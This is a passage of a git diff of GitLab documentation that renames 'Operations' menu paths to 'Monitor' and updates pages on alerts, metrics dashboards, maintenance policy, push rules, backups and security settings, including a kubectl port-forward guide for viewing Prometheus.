-1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon to the right of the
+1. Go to **Monitor > On-call Schedules** and select the **Trash Can** icon to the right of the
title of the rotation that you want to delete.
1. In the **Delete rotation** window, select the **Delete rotation** button.
diff --git a/doc/operations/incident_management/paging.md b/doc/operations/incident_management/paging.md
index 1588cb96218..db419001343 100644
--- a/doc/operations/incident_management/paging.md
+++ b/doc/operations/incident_management/paging.md
@@ -27,9 +27,9 @@ Email notifications are available in projects for triggered alerts. Project
members with the **Owner** or **Maintainer** roles have the option to receive
a single email notification for new alerts.
-1. Navigate to **Settings > Operations**.
-1. Expand the **Incidents** section.
-1. In the **Alert Integration** tab, select the checkbox
+1. Navigate to **Settings > Monitor**.
+1. Expand the **Alerts** section.
+1. In the **Integration settings** tab, select the checkbox
**Send a single email notification to Owners and Maintainers for new alerts**.
1. Select **Save changes**.
diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md
index 1e11a9c62e0..d63d42e07c1 100644
--- a/doc/operations/incident_management/status_page.md
+++ b/doc/operations/incident_management/status_page.md
@@ -42,7 +42,7 @@ Only AWS S3 is supported as a deploy target.
To provide GitLab with the AWS account information needed to push content to your Status Page:
1. Sign into GitLab as a user with Maintainer or greater [permissions](../../user/permissions.md).
-1. Navigate to **{settings}** **Settings > Operations**. Next to **Status Page**,
+1. Navigate to **{settings}** **Settings > Monitor**. Next to **Status Page**,
click **Expand**.
1. Click **Active** to enable the Status Page feature.
1. In **Status Page URL**, provide the URL to your external status page.
@@ -92,10 +92,9 @@ the issue can potentially [publish comments to your GitLab Status Page](#publish
After creating the CI/CD variables, configure the Project you want to use for
Incident issues:
-1. To view the [Operations Settings](../../user/project/settings/#operations-settings)
- page, navigate to **{settings}** **Settings > Operations > Status Page**.
-1. Fill in your cloud provider's credentials and make sure the **Active** checkbox is checked.
-1. Click **Save changes**.
+1. To view the Status Page settings, navigate to **{settings}** **Settings > Monitor > Status Page**.
+1. Fill in your cloud provider's credentials and make sure to select the **Active** checkbox.
+1. Select **Save changes**.
## How to use your GitLab Status Page
@@ -131,7 +130,7 @@ A background worker publishes the issue onto the Status Page using the credentia
you provided during setup. As part of publication, GitLab:
- Anonymizes user and group mentions with `Incident Responder`.
-- Removes titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references).
+- Removes titles of non-public [GitLab references](../../user/markdown.md#gitlab-specific-references).
- Publishes any files attached to incident issue descriptions, up to 5000 per issue.
([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).)
diff --git a/doc/operations/index.md b/doc/operations/index.md
index 934634562fc..d170e82dd7f 100644
--- a/doc/operations/index.md
+++ b/doc/operations/index.md
@@ -4,10 +4,10 @@ group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project operations **(FREE)**
+# Monitor application performance **(FREE)**
GitLab provides a variety of tools to help operate and maintain
-your applications:
+your applications.
## Measure reliability and stability with metrics
@@ -73,7 +73,7 @@ production services. GitLab provides centralized, aggregated log storage for you
distributed application, enabling you to collect logs across multiple services and
infrastructure.
-- [View logs of pods or managed applications](../user/project/clusters/kubernetes_pod_logs.md)
+- [View logs of pods](../user/project/clusters/kubernetes_pod_logs.md)
in connected Kubernetes clusters.
## Manage your infrastructure in code
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 09cfea06198..16cfb05ad9a 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -25,7 +25,7 @@ For managed Prometheus instances using auto configuration, you can
[configure alerts for metrics](index.md#adding-custom-metrics) directly in the
[metrics dashboard](index.md). To set an alert:
-1. In your project, navigate to **Operations > Metrics**,
+1. In your project, navigate to **Monitor > Metrics**,
1. Identify the metric you want to create the alert for, and click the
**ellipsis** **{ellipsis_v}** icon in the top right corner of the metric.
1. Choose **Alerts**.
@@ -39,7 +39,15 @@ To remove the alert, click back on the alert icon for the desired metric, and cl
### Link runbooks to alerts
-> Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
+> - [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877) in GitLab 13.11.
+> - [Removed](https://gitlab.com/groups/gitlab-org/-/epics/4280) in GitLab 14.0.
+
+WARNING:
+Linking runbooks to alerts through the alerts UI is [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877)
+and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
+However, you can still add runbooks to your alert payload. They show up in the alert UI when the
+alert is triggered.
When creating alerts from the metrics dashboard for [managed Prometheus instances](#managed-prometheus-instances),
you can also link a runbook. When the alert triggers, the
@@ -72,14 +80,16 @@ section of your Prometheus Alertmanager configuration:
```yaml
receivers:
- name: gitlab
- webhook_configs:
- - http_config:
- bearer_token: 9e1cbfcd546896a9ea8be557caf13a76
- send_resolved: true
- url: http://192.168.178.31:3001/root/manual_prometheus/prometheus/alerts/notify.json
- # Rest of configuration omitted
- # ...
+ - name: gitlab
+ webhook_configs:
+ - http_config:
+ authorization:
+ type: Bearer
+ credentials: 9e1cbfcd546896a9ea8be557caf13a76
+ send_resolved: true
+ url: http://192.168.178.31:3001/root/manual_prometheus/prometheus/alerts/notify.json
+ # Rest of configuration omitted
+ # ...
```
For GitLab to associate your alerts with an [environment](../../ci/environments/index.md),
@@ -100,7 +110,7 @@ Prometheus server to use the
Alerts can be used to trigger actions, like opening an issue automatically
(disabled by default since `13.1`). To configure the actions:
-1. Navigate to your project's **Settings > Operations > Incidents**.
+1. Navigate to your project's **Settings > Monitor > Alerts**.
1. Enable the option to create issues.
1. Choose the [issue template](../../user/project/description_templates.md) to create the issue from.
1. Optionally, select whether to send an email notification to the developers of the project.
diff --git a/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png b/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png
index cad075ca421..1571ab9de90 100644
--- a/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png
+++ b/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png
Binary files differ
diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md
index 7b056020a99..d7b748034d5 100644
--- a/doc/operations/metrics/dashboards/index.md
+++ b/doc/operations/metrics/dashboards/index.md
@@ -20,14 +20,14 @@ or [duplicate a GitLab-defined Prometheus dashboard](#duplicate-a-gitlab-defined
You can configure a custom dashboard by adding a new YAML file into your project's
`.gitlab/dashboards/` directory. For the dashboard to display on your project's
-**Operations > Metrics** page, the files must have a `.yml`
+**Monitor > Metrics** page, the files must have a `.yml`
extension and be present in your project's **default** branch.
To create a new dashboard from the GitLab user interface:
1. Sign in to GitLab as a user with Maintainer or Owner
[permissions](../../../user/permissions.md#project-members-permissions).
-1. Navigate to your dashboard at **Operations > Metrics**.
+1. Navigate to your dashboard at **Monitor > Metrics**.
1. In the top-right corner of your dashboard, click the **{ellipsis_v}** **More actions** menu,
and select **Create new**:
![Monitoring Dashboard actions menu with create new item](img/actions_menu_create_new_dashboard_v13_3.png)
@@ -60,7 +60,7 @@ To create a new dashboard from the command line:
```
1. Save the file, commit, and push to your repository. The file must be present in your **default** branch.
-1. Navigate to your project's **Operations > Metrics** and choose the custom
+1. Navigate to your project's **Monitor > Metrics** and choose the custom
dashboard from the dropdown.
Your custom dashboard is available at `https://example.com/project/-/metrics/custom_dashboard_name.yml`.
@@ -217,8 +217,46 @@ links:
## Troubleshooting
-When troubleshooting issues with a managed Prometheus app, it is often useful to
-[view the Prometheus UI](../../../user/project/integrations/prometheus.md#access-the-ui-of-a-prometheus-managed-application-in-kubernetes).
+### Accessing the UI of Prometheus in Kubernetes
+
+When troubleshooting issues with an in-cluster Prometheus, it can help to
+view the Prometheus UI. In the example below, we assume the Prometheus
+server to be the pod `prometheus-prometheus-server` in the `gitlab-managed-apps`
+namespace:
+
+1. Find the name of the Prometheus pod in the user interface of your Kubernetes
+ provider, such as GKE, or by running the following `kubectl` command in your
+ terminal. For example:
+
+ ```shell
+ kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server'
+ ```
+
+ The command should return a result like the following example, where
+ `prometheus-prometheus-server-55b4bd64c9-dpc6b` is the name of the Prometheus pod:
+
+ ```plaintext
+ gitlab-managed-apps prometheus-prometheus-server-55b4bd64c9-dpc6b 2/2 Running 0 71d
+ ```
+
+1. Run a `kubectl port-forward` command. In the following example, `9090` is the
+ Prometheus server's listening port:
+
+ ```shell
+ kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 9090:9090 -n gitlab-managed-apps
+ ```
+
+ The `port-forward` command forwards all requests sent to your system's `9090` port
+ to the `9090` port of the Prometheus pod. If the `9090` port on your system is used
+ by another application, you can change the port number before the colon to your
+ desired port. For example, to forward port `8080` of your local system, change the
+ command to:
+
+ ```shell
+ kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 8080:9090 -n gitlab-managed-apps
+ ```
+
+1. Open `localhost:9090` in your browser to display the Prometheus user interface.
### "No data found" error on Metrics dashboard page
diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md
index e998db6b51b..0e467623e05 100644
--- a/doc/operations/metrics/dashboards/settings.md
+++ b/doc/operations/metrics/dashboards/settings.md
@@ -21,7 +21,7 @@ time zone, but you can display dates and times in UTC format. To change the
time zone:
1. Sign in as a user with Manage Project Operations [permissions](../../../user/permissions.md).
-1. Navigate to **Settings > Operations**.
+1. Navigate to **Settings > Monitor**.
1. Scroll to **Metrics Dashboard** and click **Expand**.
1. In the **Dashboard timezone** select box, select *User's local timezone*
or *UTC*:
@@ -37,7 +37,7 @@ You can add a button on your monitoring dashboard that links directly to your
existing external dashboards:
1. Sign in as a user with Manage Project Operations [permissions](../../../user/permissions.md).
-1. Navigate to **Settings > Operations**.
+1. Navigate to **Settings > Monitor**.
1. Scroll to **Metrics Dashboard** and click **Expand**.
1. In **External dashboard URL**, provide the URL to your external dashboard:
diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md
index ff92997e44b..473b335d4c5 100644
--- a/doc/operations/metrics/embed_grafana.md
+++ b/doc/operations/metrics/embed_grafana.md
@@ -47,7 +47,7 @@ format. To embed panels from a Grafana instance, the data source must be:
To set up the Grafana API in Grafana:
1. In Grafana, [generate an Admin-level API Token](https://grafana.com/docs/grafana/latest/http_api/auth/#create-api-token).
-1. In your GitLab project, go to **Settings > Operations** and expand the **Grafana authentication**
+1. In your GitLab project, go to **Settings > Monitor** and expand the **Grafana authentication**
section.
1. To enable the integration, check the **Active** checkbox.
1. For **Grafana URL**, enter the base URL of the Grafana instance.
diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md
index 8ff45ac4015..09bc3237cb6 100644
--- a/doc/operations/metrics/index.md
+++ b/doc/operations/metrics/index.md
@@ -16,10 +16,10 @@ critical. For GitLab to display your information in charts, you must:
For an overview, see [How to instrument Prometheus metrics in GitLab](https://www.youtube.com/watch?v=tuI2oJ3TTB4).
1. **Expose metrics for capture** - Make logs, metrics, and traces available for capture.
1. [**Configure Prometheus to gather metrics**](#configure-prometheus-to-gather-metrics) -
- Deploy managed applications like Elasticsearch, Prometheus, and Jaeger to gather
+ Use applications like Elasticsearch, Prometheus, and Jaeger to gather
the data you've exposed.
1. **GitLab collects metrics** - GitLab uses Prometheus to scrape the data you've
- captured in your managed apps, and prepares the data for display. To learn more, read
+ captured in your applications, and prepares the data for display. To learn more, read
[Collect and process metrics](#collect-and-process-metrics).
1. **Display charts in the GitLab user interface** - GitLab converts your metrics
into easy-to-read charts on a default dashboard. You can create as many custom charts
@@ -34,30 +34,10 @@ your Prometheus integration depends on where your apps are running:
- **For manually-configured Prometheus** -
[Specify your Prometheus server](../../user/project/integrations/prometheus.md#manual-configuration-of-prometheus),
and define at least one environment.
-- **For GitLab-managed Prometheus** - GitLab can
- [deploy and manage Prometheus](../../user/project/integrations/prometheus.md#managed-prometheus-on-kubernetes) for you.
- You must also complete a code deployment, as described in
- [Deploy code with GitLab-managed Prometheus](#deploy-code-with-gitlab-managed-prometheus),
- for the **Operations > Metrics** page to contain data.
-
-### Deploy code with GitLab-managed Prometheus
-
-For GitLab-managed Prometheus, you can set up [Auto DevOps](../../topics/autodevops/index.md)
-to quickly create a deployment:
-
-1. Navigate to your project's **Operations > Kubernetes** page.
-1. Ensure that, in addition to Prometheus, you also have GitLab Runner and Ingress
- installed.
-1. After installing Ingress, copy its endpoint.
-1. Navigate to your project's **Settings > CI/CD** page. In the
- **Auto DevOps** section, select a deployment strategy and save your changes.
-1. On the same page, in the **Variables** section, add a variable named
- `KUBE_INGRESS_BASE_DOMAIN` with the value of the Ingress endpoint you
- copied previously. Leave the type as **Variable**.
-1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** page, and run a
- pipeline on any branch.
-1. When the pipeline has run successfully, graphs are available on the
- **Operations > Metrics** page.
+- **For a cluster integrated Prometheus** - GitLab can query
+ [an in-cluster Prometheus](../../user/clusters/integrations.md#prometheus-cluster-integration).
+ You must also complete a code deployment to your cluster for the **Monitor > Metrics**
+ page to contain data. You can do this using [Auto DevOps](../../topics/autodevops/quick_start_guide.md).
![Monitoring Dashboard](img/prometheus_monitoring_dashboard_v13_3.png)
@@ -77,7 +57,7 @@ To view the [default metrics dashboard](dashboards/default.md) for an environmen
1. *If the metrics dashboard is only visible to project members,* sign in to
GitLab as a member of a project. Learn more about [metrics dashboard visibility](#metrics-dashboard-visibility).
-1. In your project, navigate to **Operations > Metrics**.
+1. In your project, navigate to **Monitor > Metrics**.
GitLab displays the [default metrics dashboard](dashboards/default.md) for the environment,
like the following example:
diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md
index db6dc13607b..c89500ab92c 100644
--- a/doc/operations/product_analytics.md
+++ b/doc/operations/product_analytics.md
@@ -52,7 +52,7 @@ user interface:
1. Sign in to GitLab as a user with Reporter or greater
[permissions](../user/permissions.md).
-1. Navigate to **Operations > Product Analytics**
+1. Navigate to **Monitor > Product Analytics**.
The user interface contains:
diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md
index a6647641527..7435c0dd8a2 100644
--- a/doc/operations/tracing.md
+++ b/doc/operations/tracing.md
@@ -34,7 +34,7 @@ GitLab provides an easy way to open the Jaeger UI from within your project:
1. [Set up Jaeger](https://www.jaegertracing.io) and configure your application using one of the
[client libraries](https://www.jaegertracing.io/docs/latest/client-libraries/).
-1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL.
+1. Navigate to your project's **Settings > Monitor** and provide the Jaeger URL.
1. Click **Save changes** for the changes to take effect.
-1. You can now visit **Operations > Tracing** in your project's sidebar and GitLab redirects you to
+1. You can now visit **Monitor > Tracing** in your project's sidebar and GitLab redirects you to
the configured Jaeger URL.
diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md
index 217618c1771..d8b36fcaa6d 100644
--- a/doc/policy/maintenance.md
+++ b/doc/policy/maintenance.md
@@ -24,10 +24,10 @@ releases](#backporting-to-older-releases) for more information.
GitLab uses [Semantic Versioning](https://semver.org/) for its releases:
`(Major).(Minor).(Patch)`.
-For example, for GitLab version 12.10.6:
+For example, for GitLab version 13.10.6:
-- `12` represents the major version. The major release was 12.0.0 but often referred to as 12.0.
-- `10` represents the minor version. The minor release was 12.10.0 but often referred to as 12.10.
+- `13` represents the major version. The major release was 13.0.0 but often referred to as 13.0.
+- `10` represents the minor version. The minor release was 13.10.0 but often referred to as 13.10.
- `6` represents the patch number.
Any part of the version number can increment into multiple digits, for example, 13.10.11.
@@ -55,13 +55,13 @@ one major version. For example, it is safe to:
- Upgrade the *minor* version. For example:
- - `12.7.5` -> `12.10.5`
- - `11.3.4` -> `11.11.1`
+ - `13.7.5` -> `13.10.5`
+ - `12.3.4` -> `12.10.11`
- Upgrade the *patch* version. For example:
- - `12.0.4` -> `12.0.12`
- - `11.11.1` -> `11.11.8`
+ - `13.0.4` -> `13.0.12`
+ - `12.10.1` -> `12.10.8`
NOTE:
Version specific changes in Omnibus GitLab Linux packages can be found in [the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes).
@@ -119,7 +119,7 @@ release, depending on the severity of the bug.
The decision on whether backporting a change will be performed is done at the discretion of the
[current release managers](https://about.gitlab.com/community/release-managers/), similar to what is
-described in the [managing bugs](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md#managing-bugs) process,
+described in the [managing bugs](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md#managing-bugs) process,
based on *all* of the following:
1. Estimated [severity](../development/contributing/issue_workflow.md#severity-labels) of the bug:
@@ -131,8 +131,8 @@ based on *all* of the following:
If *all* of the above are satisfied, the backport releases can be created for
the current stable release, and two previous monthly releases. In rare cases a release manager may grant an exception to backport to more than two previous monthly releases.
-For instance, if we release `11.2.1` with a fix for a severe bug introduced in
-`11.0.0`, we could backport the fix to a new `11.0.x`, and `11.1.x` patch release.
+For instance, if we release `13.2.1` with a fix for a severe bug introduced in
+`13.0.0`, we could backport the fix to a new `13.0.x`, and `13.1.x` patch release.
To request backporting to more than one stable release for consideration, raise an issue in the
[release/tasks](https://gitlab.com/gitlab-org/release/tasks/-/issues/new?issuable_template=Backporting-request) issue tracker.
@@ -149,6 +149,8 @@ This decision is made on a case-by-case basis.
## More information
-More information about the release procedures can be found in our
-[release documentation](https://gitlab.com/gitlab-org/release/docs). You may also want to read our
-[Responsible Disclosure Policy](https://about.gitlab.com/security/disclosure/).
+You may also want to read our:
+
+- [Release documentation](https://gitlab.com/gitlab-org/release/docs) describing release procedures
+- [Deprecation guidelines](../development/deprecation_guidelines/index.md)
+- [Responsible Disclosure Policy](https://about.gitlab.com/security/disclosure/)
diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md
index db190797d0a..34a63f425eb 100644
--- a/doc/push_rules/push_rules.md
+++ b/doc/push_rules/push_rules.md
@@ -82,14 +82,19 @@ See [server hooks](../administration/server_hooks.md) for more information.
## Enabling push rules
-NOTE:
-GitLab administrators can set push rules globally under
-**Admin Area > Push Rules** that all new projects inherit. You can later
-override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules).
+You can create push rules for all new projects to inherit, but they can be overridden
+at the project level or the [group level](../user/group/index.md#group-push-rules).
+
+To create global push rules:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Push rules**.
+
+To override global push rules in a project's settings:
-1. Navigate to your project's **Settings > Repository** and expand **Push rules**
-1. Set the rule you want
-1. Click **Save Push Rules** for the changes to take effect
+1. Navigate to your project's **Settings > Repository** and expand **Push rules**.
+1. Set the rule you want.
+1. Select **Save Push Rules** for the changes to take effect.
The following options are available:
@@ -143,7 +148,7 @@ pushed to a repository. The list stops those commits from reaching the remote re
By selecting the checkbox *Prevent committing secrets to Git*, GitLab prevents
pushes to the repository when a file matches a regular expression as read from
-[`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch
+[`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch
as your GitLab version when viewing this file).
NOTE:
diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md
index c815842480c..488d86f129d 100644
--- a/doc/raketasks/README.md
+++ b/doc/raketasks/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-11'
---
This document was moved to [another location](index.md).
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index 74e254d864e..1e130c67724 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -63,6 +63,12 @@ including:
- Snippets
- Group wikis **(PREMIUM)**
+Backups do not include:
+
+- [Terraform state files](../administration/terraform_state.md)
+- [Package registry files](../administration/packages/index.md)
+- [Mattermost data](https://docs.mattermost.com/administration/config-settings.html#file-storage)
+
WARNING:
GitLab does not back up any configuration files, SSL certificates, or system
files. You are highly advised to read about [storing configuration files](#storing-configuration-files).
@@ -116,7 +122,7 @@ Similar to the Kubernetes case, if you have scaled out your GitLab cluster to
use multiple application servers, you should pick a designated node (that isn't
auto-scaled away) for running the backup Rake task. Because the backup Rake
task is tightly coupled to the main Rails application, this is typically a node
-on which you're also running Unicorn/Puma or Sidekiq.
+on which you're also running Puma or Sidekiq.
Example output:
@@ -367,7 +373,7 @@ sudo -u git -H bundle exec rake gitlab:backup:create GITLAB_BACKUP_MAX_CONCURREN
You can let the backup script upload (using the [Fog library](http://fog.io/))
the `.tar` file it creates. In the following example, we use Amazon S3 for
storage, but Fog also lets you use [other storage providers](http://fog.io/storage/).
-GitLab also [imports cloud drivers](https://gitlab.com/gitlab-org/gitlab/blob/da46c9655962df7d49caef0e2b9f6bbe88462a02/Gemfile#L113)
+GitLab also [imports cloud drivers](https://gitlab.com/gitlab-org/gitlab/-/blob/da46c9655962df7d49caef0e2b9f6bbe88462a02/Gemfile#L113)
for AWS, Google, OpenStack Swift, Rackspace, and Aliyun. A local driver is
[also available](#uploading-to-locally-mounted-shares).
@@ -922,7 +928,6 @@ Stop the processes that are connected to the database. Leave the rest of GitLab
running:
```shell
-sudo gitlab-ctl stop unicorn
sudo gitlab-ctl stop puma
sudo gitlab-ctl stop sidekiq
# Verify
@@ -990,7 +995,6 @@ For Docker installations, the restore task can be run from host:
```shell
# Stop the processes that are connected to the database
-docker exec -it <name of container> gitlab-ctl stop unicorn
docker exec -it <name of container> gitlab-ctl stop puma
docker exec -it <name of container> gitlab-ctl stop sidekiq
diff --git a/doc/security/README.md b/doc/security/README.md
index 83073a4951c..6af3948fdcf 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -6,7 +6,7 @@ comments: false
type: index
---
-# Security
+# Security **(FREE)**
- [Password storage](password_storage.md)
- [Password length limits](password_length_limits.md)
@@ -23,7 +23,7 @@ type: index
- [Send email confirmation on sign-up](user_email_confirmation.md)
- [Security of running jobs](https://docs.gitlab.com/runner/security/)
- [Proxying images](asset_proxy.md)
-- [CI/CD variables](cicd_variables.md)
+- [CI/CD variables](../ci/variables/README.md#cicd-variable-security)
- [Token overview](token_overview.md)
- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md
index 7774f5e0635..d6b85eb5c9f 100644
--- a/doc/security/asset_proxy.md
+++ b/doc/security/asset_proxy.md
@@ -4,10 +4,10 @@ group: unassigned
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Proxying assets
+# Proxying assets **(FREE SELF)**
-A possible security concern when managing a public facing GitLab instance is
-the ability to steal a users IP address by referencing images in issues, comments, etc.
+A possible security concern when managing a public-facing GitLab instance is
+the ability to steal a users IP address by referencing images in issues and comments.
For example, adding `![Example image](http://example.com/example.png)` to
an issue description causes the image to be loaded from the external
@@ -18,7 +18,7 @@ One way to mitigate this is by proxying any external images to a server you
control.
GitLab can be configured to use an asset proxy server when requesting external images/videos/audio in
-issues, comments, etc. This helps ensure that malicious images do not expose the user's IP address
+issues and comments. This helps ensure that malicious images do not expose the user's IP address
when they are fetched.
We currently recommend using [cactus/go-camo](https://github.com/cactus/go-camo#how-it-works)
diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md
index 7de2e17c0f9..49b10af6c1d 100644
--- a/doc/security/cicd_environment_variables.md
+++ b/doc/security/cicd_environment_variables.md
@@ -1,5 +1,6 @@
---
redirect_to: 'cicd_variables.md'
+remove_date: '2021-05-15'
---
This document was moved to [another location](cicd_variables.md).
diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md
index 4ef8129da2a..b429b1435be 100644
--- a/doc/security/cicd_variables.md
+++ b/doc/security/cicd_variables.md
@@ -1,13 +1,9 @@
---
-stage: Secure
-group: None
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../ci/variables/README.md#cicd-variable-security'
+remove_date: '2021-07-04'
---
-# CI/CD Variables
+This document was moved to [another location](../ci/variables/README.md#cicd-variable-security).
-CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page.
-
-The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database.
-
-This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost).
+<!-- This redirect file can be deleted after <2021-07-04>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md
index 9a43f5dfca8..a8dee8f589a 100644
--- a/doc/security/crime_vulnerability.md
+++ b/doc/security/crime_vulnerability.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# How we manage the TLS protocol CRIME vulnerability
+# How we manage the TLS protocol CRIME vulnerability **(FREE SELF)**
[CRIME](https://en.wikipedia.org/w/index.php?title=CRIME&oldid=692423806) is a security exploit against
secret web cookies over connections using the HTTPS and SPDY protocols that also
@@ -23,7 +23,7 @@ GitLab supports both Gzip and [SPDY](http://nginx.org/en/docs/http/ngx_http_spdy
vulnerability by deactivating Gzip when HTTPS is enabled. The sources of the
files are here:
-- [Source installation NGINX file](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/nginx/gitlab-ssl)
+- [Source installation NGINX file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/nginx/gitlab-ssl)
- [Omnibus installation NGINX file](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-cookbooks/gitlab/templates/default/nginx-gitlab-http.conf.erb)
Although SPDY is enabled in Omnibus installations, CRIME relies on compression
diff --git a/doc/security/information_exclusivity.md b/doc/security/information_exclusivity.md
index a2571895e45..69223b5edb9 100644
--- a/doc/security/information_exclusivity.md
+++ b/doc/security/information_exclusivity.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts
---
-# Information exclusivity
+# Information exclusivity **(FREE)**
Git is a distributed version control system (DVCS). This means that everyone
who works with the source code has a local copy of the complete repository.
diff --git a/doc/security/password_length_limits.md b/doc/security/password_length_limits.md
index 05ddb0a2823..847656d8d17 100644
--- a/doc/security/password_length_limits.md
+++ b/doc/security/password_length_limits.md
@@ -5,17 +5,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Custom password length limits
+# Custom password length limits **(FREE SELF)**
-By default, GitLab supports passwords with:
+By default, GitLab supports passwords with the following lengths:
-- A minimum length of 8.
-- A maximum length of 128.
+- Minimum: 8 characters
+- Maximum: 128 characters
GitLab administrators can modify password lengths:
-- Using the GitLab UI. **[From](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20661) GitLab 12.6 this is the only available option.**
-- Using configuration file. **Up to GitLab 12.5**.
+- Using the GitLab UI. [From](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20661) GitLab
+ 12.6, this is the only available option.
+- Using configuration file. Up to GitLab 12.5.
Changing the minimum or maximum length does not affect existing user passwords. Existing users are
not asked to reset their password to adhere to the new limits. The new limit restriction applies
@@ -29,11 +30,13 @@ The user password length is set to a minimum of 8 characters by default.
To change the minimum password length using GitLab UI:
-1. Go to **Admin Area > Settings**, then select **Sign-up restrictions**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General** and expand **Sign-up restrictions**.
![Minimum password length settings](../user/admin_area/img/minimum_password_length_settings_v12_6.png)
-1. Input a **Minimum password length** value greater than or equal to 8, then select **Save changes**.
+1. Enter a **Minimum password length** value greater than or equal to `8`.
+1. Select **Save changes**.
## Modify maximum password length using configuration file
diff --git a/doc/security/password_storage.md b/doc/security/password_storage.md
index af4b57e342a..7d8ac3bad39 100644
--- a/doc/security/password_storage.md
+++ b/doc/security/password_storage.md
@@ -1,16 +1,25 @@
---
-stage: none
-group: unassigned
+stage: Manage
+group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Password Storage
+# Password storage **(FREE)**
-GitLab stores user passwords in a hashed format, to prevent passwords from being visible.
+GitLab stores user passwords in a hashed format to prevent passwords from being
+stored as plain text.
-GitLab uses the [Devise](https://github.com/heartcombo/devise) authentication library, which handles the hashing of user passwords. Password hashes are created with the following attributes:
+GitLab uses the [Devise](https://github.com/heartcombo/devise) authentication
+library to hash user passwords. Created password hashes have these attributes:
-- **Hashing**: the [`bcrypt`](https://en.wikipedia.org/wiki/Bcrypt) hashing function is used to generate the hash of the provided password. This is a strong, industry-standard cryptographic hashing function.
-- **Stretching**: Password hashes are [stretched](https://en.wikipedia.org/wiki/Key_stretching) to harden against brute-force attacks. GitLab uses a stretching factor of 10 by default.
-- **Salting**: A [cryptographic salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) is added to each password to harden against pre-computed hash and dictionary attacks. Each salt is randomly generated for each password, so that no two passwords share a salt, to further increase security.
+- **Hashing**: The [`bcrypt`](https://en.wikipedia.org/wiki/Bcrypt) hashing
+ function is used to generate the hash of the provided password. This is a
